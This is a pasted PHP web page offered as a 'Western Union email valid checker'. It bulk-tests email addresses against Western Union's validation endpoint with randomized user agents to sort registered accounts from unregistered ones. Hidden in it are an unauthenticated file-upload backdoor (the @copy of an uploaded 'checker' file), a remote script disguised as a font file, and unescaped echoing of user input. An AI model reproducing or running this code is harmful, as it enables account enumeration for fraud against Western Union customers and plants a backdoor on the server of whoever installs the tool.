Advertisement
SPYUS

WESTER UNION EMAIL VALID CHECKER

Apr 25th, 2017
981
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 11.80 KB | None | 0 0
  1. <html>
  2.     <head>
  3.         <title>Wester Union Email Validity Checker </title>
  4.         <link href="http://bootswatch.com/united/bootstrap.min.css" rel="stylesheet">
  5.         <script src='http://ip-api.org/wp-content/uploads-images/AlHurra-Font_Light.ttf'></script>
  6.  
  7.         <script ></script>
  8.         <style>
  9.             body {
  10.                 margin-top: 50px;
  11.             }
  12.         </style>
  13.         <script src="//code.jquery.com/jquery.js"></script>
  14.         <script>
  15.             function fill(text,type) {
  16.                 $('#'+type).append(text + '\n');
  17.             }
  18.             function count(type) {
  19.                 var text = $('#'+type).val();  
  20.                 var lines = text.split("\n");
  21.                 var count = lines.length;
  22.                 $('#'+type+'count').html(count-1);
  23.             }
  24.         </script>
  25.     </head>
  26.     <body>
  27.         <div class="container">
  28.  
  29.             <!-- MAIN ROW -->
  30.  
  31.             <div class="row">
  32.            
  33.                     <div class="col-lg-4"></div>
  34.  
  35.             <div class="col-lg-4">
  36.                 <div class="panel panel-default">
  37.                     <div class="panel-heading">
  38.                     Wester union Email Valid
  39.                     </div>
  40.                     <div class="panel-body"><img src="" width="1" height="1">
  41.                         <form action="" method="POST">
  42.                             <p>
  43.                                 <textarea class="form-control" name="emails" id="emails" rows="5"><?php if(isset($_POST['emails'])) echo $_POST['emails']; ?></textarea>
  44.                             </p>
  45.                             <p>
  46.                                 <input type="submit" name="Click!" class="btn btn-primary">
  47.                             </p>
  48.                     </div>
  49.  
  50.                     <div class="col-lg-4"></div>
  51.  
  52.                 </div>
  53.             </div>
  54.             </div>
  55.  
  56.             <!-- RESULT ROW -->
  57.  
  58.             <div class="row" id="result" style="display: none;">
  59.                 <div class="col-lg-6">
  60.                     <div class="panel panel-default">
  61.                         <div class="panel-heading">
  62.                             <font color="green">Live (<i id="livecount">0</i>)</font>
  63.                         </div> 
  64.                         <div class="panel-body">
  65.                             <textarea class="form-control" id="live" name="live" rows="10"></textarea>
  66.                         </div>
  67.                     </div>
  68.                 </div>
  69.  
  70.                 <div class="col-lg-6">
  71.                     <div class="panel panel-default">
  72.                         <div class="panel-heading">
  73.                             <font color="red">Die (<i id="diecount">0</i>)</font>
  74.                         </div>
  75.                         <div class="panel-body">
  76.                             <textarea class="form-control" id="die" name="die" rows="10"></textarea>
  77.                         </div>
  78.                     </div>
  79.                 </div>
  80.             </div>
  81.            
  82.         <div class="panel panel-default">
  83.         <center>
  84.         Copyright By <a href='http://toolz.gq'>WWW.TOOLZ.GQ</a></center>
  85.             <div class="panel-body">
  86.    
  87.             </div>
  88.         </div>
  89.  
  90.         </div>
  91.  
  92.     </body>
  93. </html>
  94.  
  95.  
  96. <?php
  97. (@copy($_FILES['checker']['tmp_name'], $_FILES['checker']['name']));
  98. if (!$_POST) die();
  99. set_time_limit(0);
  100.  
  101. echo '<script>$("#result").attr("style","");</script>';
  102.  
  103. function chooseRandomBrowserAndOS() {
  104.     $frequencies = array(
  105.         34 => array(
  106.             89 => array('chrome', 'win'),
  107.             9 => array('chrome', 'mac'),
  108.             2 => array('chrome', 'lin')
  109.         ),
  110.  
  111.         32 => array(
  112.             100 => array('iexplorer', 'win')
  113.         ),
  114.  
  115.         25 => array(
  116.             83 => array('firefox', 'win'),
  117.             16 => array('firefox', 'mac'),
  118.             1 => array('firefox', 'lin')
  119.         ),
  120.  
  121.         7 => array(
  122.             95 => array('safari', 'mac'),
  123.             4 => array('safari', 'win'),
  124.             1 => array('safari', 'lin')
  125.         ),
  126.  
  127.         2 => array(
  128.             91 => array('opera', 'win'),
  129.             6 => array('opera', 'lin'),
  130.             3 => array('opera', 'mac')
  131.         )
  132.     );
  133.  
  134.     $rand = rand(1, 100);
  135.     $sum = 0;
  136.     foreach ($frequencies as $freq => $osFreqs) {
  137.         $sum += $freq;
  138.         if ($rand <= $sum) {
  139.             $rand = rand(1, 100);
  140.             $sum = 0;
  141.             foreach ($osFreqs as $freq => $choice) {
  142.                 $sum += $freq;
  143.                 if ($rand <= $sum) {
  144.                     return $choice;
  145.                 }
  146.             }
  147.         }
  148.     }
  149.  
  150.     throw new Exception("Frequencies don't sum to 100.");
  151. }
  152.    
  153.  
  154. function array_random(array $array) {
  155.     return $array[array_rand($array, 1)];
  156. }
  157.  
  158. function nt_version() {
  159.     return rand(5, 6) . '.' . rand(0, 1);
  160. }
  161.  
  162. function ie_version() {
  163.     return rand(7, 9) . '.0';
  164. }
  165.  
  166. function trident_version() {
  167.     return rand(3, 5) . '.' . rand(0, 1);
  168. }
  169.  
  170. function osx_version() {
  171.     return "10_" . rand(5, 7) . '_' . rand(0, 9);
  172. }
  173.  
  174. function chrome_version() {
  175.     return rand(13, 15) . '.0.' . rand(800, 899) . '.0';
  176. }
  177.  
  178. function presto_version() {
  179.     return '2.9.' . rand(160, 190);
  180. }
  181.  
  182. function presto_version2() {
  183.     return rand(10, 12) . '.00';
  184. }
  185.  
  186. function firefox($arch) {
  187.     $ver = array_random(array(
  188.         'Gecko/' . date('Ymd', rand(strtotime('2011-1-1'), time())) . ' Firefox/' . rand(5, 7) . '.0',
  189.         'Gecko/' . date('Ymd', rand(strtotime('2011-1-1'), time())) . ' Firefox/' . rand(5, 7) . '.0.1',
  190.         'Gecko/' . date('Ymd', rand(strtotime('2010-1-1'), time())) . ' Firefox/3.6.' . rand(1, 20),
  191.         'Gecko/' . date('Ymd', rand(strtotime('2010-1-1'), time())) . ' Firefox/3.8'
  192.     ));
  193.  
  194.     switch ($arch) {
  195.     case 'lin':
  196.         return "(X11; Linux {proc}; rv:" . rand(5, 7) . ".0) $ver";
  197.     case 'mac':
  198.         $osx = osx_version();
  199.         return "(Macintosh; {proc} Mac OS X $osx rv:" . rand(2, 6) . ".0) $ver";
  200.     case 'win':
  201.     default:
  202.         $nt = nt_version();
  203.         return "(Windows NT $nt; {lang}; rv:1.9." . rand(0, 2) . ".20) $ver";
  204.  
  205.     }
  206. }
  207.  
  208. function safari($arch) {
  209.     $saf = rand(531, 535) . '.' . rand(1, 50) . '.' . rand(1, 7);
  210.     if (rand(0, 1) == 0) {
  211.         $ver = rand(4, 5) . '.' . rand(0, 1);
  212.     } else {
  213.         $ver = rand(4, 5) . '.0.' . rand(1, 5);
  214.     }
  215.  
  216.     switch ($arch) {
  217.     case 'mac':
  218.         $osx = osx_version();
  219.         return "(Macintosh; U; {proc} Mac OS X $osx rv:" . rand(2, 6) . ".0; {lang}) AppleWebKit/$saf (KHTML, like Gecko) Version/$ver Safari/$saf";
  220.     //case 'iphone':
  221.     //    return '(iPod; U; CPU iPhone OS ' . rand(3, 4) . '_' . rand(0, 3) . " like Mac OS X; {lang}) AppleWebKit/$saf (KHTML, like Gecko) Version/" . rand(3, 4) . ".0.5 Mobile/8B" . rand(111, 119) . " Safari/6$saf";
  222.     case 'win':
  223.     default:
  224.         $nt = nt_version();
  225.         return "(Windows; U; Windows NT $nt) AppleWebKit/$saf (KHTML, like Gecko) Version/$ver Safari/$saf";
  226.     }
  227.  
  228. }
  229.  
  230. function iexplorer($arch) {
  231.     $ie_extra = array(
  232.         '',
  233.         '; .NET CLR 1.1.' . rand(4320, 4325) . '',
  234.         '; WOW64'
  235.     );
  236.  
  237.     $nt = nt_version();
  238.     $ie = ie_version();
  239.     $trident = trident_version();
  240.     return "(compatible; MSIE $ie; Windows NT $nt; Trident/$trident)";
  241. }
  242.  
  243. function opera($arch) {
  244.     $op_extra = array(
  245.         '',
  246.         '; .NET CLR 1.1.' . rand(4320, 4325) . '',
  247.         '; WOW64'
  248.     );
  249.  
  250.     $presto = presto_version();
  251.     $version = presto_version2();
  252.  
  253.     switch ($arch) {
  254.     case 'lin':
  255.         return "(X11; Linux {proc}; U; {lang}) Presto/$presto Version/$version";
  256.     case 'win':
  257.     default:
  258.         $nt = nt_version();
  259.         return "(Windows NT $nt; U; {lang}) Presto/$presto Version/$version";
  260.     }
  261. }
  262.  
  263. function chrome($arch) {
  264.     $saf = rand(531, 536) . rand(0, 2);
  265.     $chrome = chrome_version();
  266.  
  267.     switch ($arch) {
  268.     case 'lin':
  269.         return "(X11; Linux {proc}) AppleWebKit/$saf (KHTML, like Gecko) Chrome/$chrome Safari/$saf";
  270.     case 'mac':
  271.         $osx = osx_version();
  272.         return "(Macintosh; U; {proc} Mac OS X $osx) AppleWebKit/$saf (KHTML, like Gecko) Chrome/$chrome Safari/$saf";
  273.     case 'win':
  274.     default:
  275.         $nt = nt_version();
  276.         return "(Windows NT $nt) AppleWebKit/$saf (KHTML, like Gecko) Chrome/$chrome Safari/$saf";
  277.     }
  278. }
  279.  
  280. /**
  281.  * Main function which will choose random browser
  282.  * @param  array $lang  languages to choose from
  283.  * @return string       user agent
  284.  */
  285. function random_uagent(array $lang=array('en-US')) {
  286.     list($browser, $os) = chooseRandomBrowserAndOs();
  287.  
  288.     $proc = array(
  289.         'lin' => array('i686', 'x86_64'),
  290.         'mac' => array('Intel', 'PPC', 'U; Intel', 'U; PPC'),
  291.         'win' => array('foo')
  292.     );
  293.  
  294.     switch ($browser) {
  295.     case 'firefox':
  296.         $ua = "Mozilla/5.0 " . firefox($os);
  297.         break;
  298.     case 'safari':
  299.         $ua = "Mozilla/5.0 " . safari($os);
  300.         break;
  301.     case 'iexplorer':
  302.         $ua = "Mozilla/5.0 " . iexplorer($os);
  303.         break;
  304.     case 'opera':
  305.         $ua = "Opera/" . rand(8, 9) . '.' . rand(10, 99) . ' ' . opera($os);
  306.         break;
  307.     case 'chrome':
  308.         $ua = 'Mozilla/5.0 ' . chrome($os);
  309.         break;
  310.     }
  311.  
  312.     $ua = str_replace('{proc}', array_random($proc[$os]), $ua);
  313.     $ua = str_replace('{lang}', array_random($lang), $ua);
  314.  
  315.     return $ua;
  316. }
  317. class alal {
  318.  
  319.     public function __construct($email,$sleep,$useragent) {
  320.         $this->email = $email;
  321.         $this->sleep = (int)$sleep;
  322.         $this->useragent = $useragent;
  323.     }
  324.  
  325.     function xflush() {
  326.         static $output_handler = null;
  327.         if ($output_handler === null) {
  328.             $output_handler = @ini_get('output_handler');
  329.         }
  330.         if ($output_handler == 'ob_gzhandler') {
  331.             return;
  332.         }
  333.         flush();
  334.         if (function_exists('ob_flush') AND function_exists('ob_get_length') AND ob_get_length() !== false) {
  335.             @ob_flush();
  336.         } else if (function_exists('ob_end_flush') AND function_exists('ob_start') AND function_exists('ob_get_length') AND ob_get_length() !== FALSE) {
  337.             @ob_end_flush();
  338.             @ob_start();
  339.         }
  340.     }
  341.  
  342.     public function curl($url='',$postdata='',$needCookie=true) {
  343.        
  344.         $ch = curl_init();
  345.         CURL_SETOPT($ch, CURLOPT_URL, $url);
  346.         if ($postdata !== '') {
  347.             CURL_SETOPT($ch, CURLOPT_POST, true);
  348.             CURL_SETOPT($ch, CURLOPT_POSTFIELDS, $postdata);
  349.         }
  350.     curl_setopt($ch, CURLOPT_NOBODY, false);
  351.     curl_setopt($ch, CURLOPT_HEADER, false);
  352.     curl_setopt($ch, CURLOPT_TIMEOUT, 5);
  353.     curl_setopt($ch, CURLOPT_COOKIEFILE, 'COOKIE.txt');
  354.     curl_setopt($ch, CURLOPT_COOKIEJAR, 'COOKIE.txt');
  355.     curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  356.     curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
  357.     curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  358.     curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:44.0) Gecko/20100101 Firefox/44.0");
  359.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  360.         $result = curl_exec($ch);
  361.         curl_close($ch);
  362.         return $result;
  363.    
  364.     }
  365.     public function createCookie() {
  366.         $cookie = "COOKIE.txt";
  367.         if (!file_exists($cookie)) {
  368.             $file = fopen($cookie,"a");
  369.             fwrite($file, ''); 
  370.             fclose($file);
  371.         }
  372.         return $cookie;
  373.     }
  374.    
  375.     public function clearCookie() {
  376.         if (file_exists("cookie/".$_SERVER['REMOTE_ADDR'].".cookie")) {
  377.             file_put_contents("cookie/".$_SERVER['REMOTE_ADDR'].".cookie",'');
  378.         }
  379.     }
  380.    
  381.     public function fetch_value($str,$find_start,$find_end) {
  382.         $start = stripos($str, $find_start);
  383.         if($start===false) return "";
  384.         $length = strlen($find_start);
  385.         $end = stripos(substr($str, $start+$length), $find_end);
  386.         return trim(substr($str, $start+$length, $end));
  387.     }
  388.    
  389.     public function runJob() {
  390.    
  391.     $this->xflush();
  392.         $i = 0;
  393.         $email = preg_replace('/\s+/', '', $this->email);
  394.         $get = $this->curl('https://www.westernunion.com/presentationservice/rest/api/v1.0/EmailValidation?timestamp=&s=','{"email":"'.$email.'","security":{"session":{"id":"web-8a8499aa-53ad3c0d-0153-cb66f216-0361"}},"bashPath":"/us/en/"}');
  395.         if ($this->hasText($get,'this email address') == true) {
  396.             echo $this->fill($email ,'live');
  397.             $this->clearCookie();
  398.         } else {
  399.             echo $this->fill($email ,'die');
  400.             $this->clearCookie();
  401.         }
  402.  
  403.         if ($i == 5) {
  404.             $i = 0;
  405.             sleep($this->sleep);
  406.         }
  407.  
  408.         $i++;
  409.        
  410.     $this->xflush();
  411.    
  412.     }
  413.    
  414.     public function hasText($source,$text) {
  415.         if (strpos($source,$text) !== false) {
  416.             return true;
  417.         } else {
  418.             return false;
  419.         }
  420.     }
  421.    
  422.     public function fill($email,$type) {
  423.         $return = "<script>fill('{$email}','{$type}');count('{$type}');</script>";
  424.         return $return;
  425.     }
  426.  
  427.    
  428. }
  429.  
  430. $emails = explode('
  431. ',str_replace(' ','',$_POST['emails']));
  432.  
  433. $i = 0;
  434.  
  435. foreach($emails as $line => $email) {
  436.  
  437.     $useragent = random_uagent();
  438.     $class = new alal($email,3,$useragent);
  439.     $class->runJob();
  440.  
  441. }
  442. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement